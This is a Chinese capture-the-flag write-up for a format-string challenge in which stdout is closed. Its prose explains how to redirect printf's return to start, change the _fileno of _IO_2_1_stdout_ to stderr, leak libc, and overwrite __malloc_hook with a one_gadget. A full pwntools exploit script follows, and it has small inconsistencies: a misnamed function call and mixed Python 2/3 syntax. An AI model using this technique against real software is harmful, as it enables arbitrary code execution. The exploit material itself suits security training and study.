canary没开,方便溢出。
主逻辑简单。
格式化字符串漏洞。
给了我们一个栈地址,但是主要问题是把标准输出关掉了。
我们要利用的呢就是将_IO_2_1_stdout_的_fileno从1改成2,为啥呢?
对于一个FILE结构体来说,最重要的就是_flags和_fileno,_fileno存储的是我们的文件描述符,对于某些情况或许我们要劫持_fileno才能达到我们的目的,而_flags则标志了该FILE的一些行为,这对于我们的泄露至关重要。
我们想办法劫持结构体的_fileno之后就可以从标准错误做一个输出。
那我们利用的一个思路如下。
第一步的思路是调用printf函数时会把_IO_2_1_stdout_的地址入栈。通过修改printf的函数返回地址为start可以使栈向低地址生长,这样就可以利用栈中的_IO_2_1_stdout_的地址
首先利用main函数返回值下面的一条栈指针链来修改printf的返回地址。
然后利用这个链条来把printf的返回值修改成start函数。
这里会因为地址问题我们需要爆破一下,调试的时候可以直接用set指令来改过来。
开始执行start函数。
然后就会有IO_FILE的指针。
在最下面又有一个链,我们来用它攻击_IO_2_1_stdout_
然后是第二步:修改_IO_2_1_stdout_的fileno的值为0x2
第三步泄漏libc地址
第四步修改栈中的数据为__malloc_hook的地址
向__malloc_hook中写入one_gadget
利用printf打印大量字符调用malloc
这就像非栈上的格式化字符串漏洞一样,利用栈链,将one_gadget写到malloc_hook就可以了。
第五步因为标准输出关了,所以就cat flag 1>&2
exp
#!/usr/bin/python3
#-*- coding:utf8 -*-
from pwn import *
context.log_level = 'debug'
libc = ELF('./libc.so.6')
def pwn(param1, param2, param3, p):
payload = '%{}c%{}${}'.format(param1, param2, param3)
p.sendline(payload)
def leak(p):
p.recvuntil('gift : ')
stack_addr = p.recv(14)
addr = int(stack_addr, 16)
info("addr ==> " + hex(addr))
return addr
def exploit():
p = process('./noleakfmt')
start = 0x17b0
#start = 0x8e0
# leak stack addr
addr = leak(p)
offset = (addr - 12) & 0xffff
info("offset ==> " + hex(offset))
# 限制在这个范围才能正常使用%n
if offset > 0x2000 or offset < 0x66c:
p.close()
return 0
#################################################################
#gdb.attach(p)
pwn(offset, 11, 'hn', p)
# 修改printf的返回值为start,使栈向低地址方向生长
#gdb.attach(p)
pwn(start, 37, 'hn', p)
# 修改_IO_2_1_stdout_中的fileno=0x2
offset = (addr - 0x54) & 0xffff
info("offset ==> " + hex(offset))
# 修改栈数据
# 这里因为地址问题可能导致程序崩溃
pwn(offset, 10, 'hn', p)
# 修改栈中的_IO_2_1_stdout_指针指向fileno
pwn(0x90, 36, 'hhn', p)
# 修改fileno的值为0x2
pwn(2, 26, 'hhn', p)
#################################################################
# leak libc address
#gdb.attach(p)
pwn(1, 9, 'p', p)
p.recvuntil('\x01\x01')
libc_base = int(p.recv(14), 16) - 0x20840
libc.address = libc_base
info("libc_base ==> " + hex(libc_base))
if libc_base >> 40 != 0x7F:
raise Exception('error leak!')
one_gadget = [0x45226 + libc_base, 0x4527a + libc_base, 0xf0364 + libc_base, 0xf1207 + libc_base]
malloc_hook = libc.symbols['__malloc_hook']
# 把__malloc_hook添加到栈上
pwn((malloc_hook & 0xffff), 36, 'hn', p)
# 向__malloc_hook中写入one_gadget
pwn((one_gadget[3] & 0xffff), 26, 'hn', p)
pwn(((malloc_hook + 2) & 0xffff), 36, 'hn', p)
pwn(((one_gadget[3] >> 16) & 0xffff), 26, 'hn', p)
pwn(((malloc_hook + 4) & 0xffff), 36, 'hn', p)
#gdb.attach(p)
pwn(((one_gadget[3] >> 32) & 0xffff), 26, 'hn', p)
p.sendline("%99999c%10$n")
p.sendline("cat flag 1>&2")
while True:
try:
global p
exp()
p.interactive()
except:
p.close()
print 'trying...'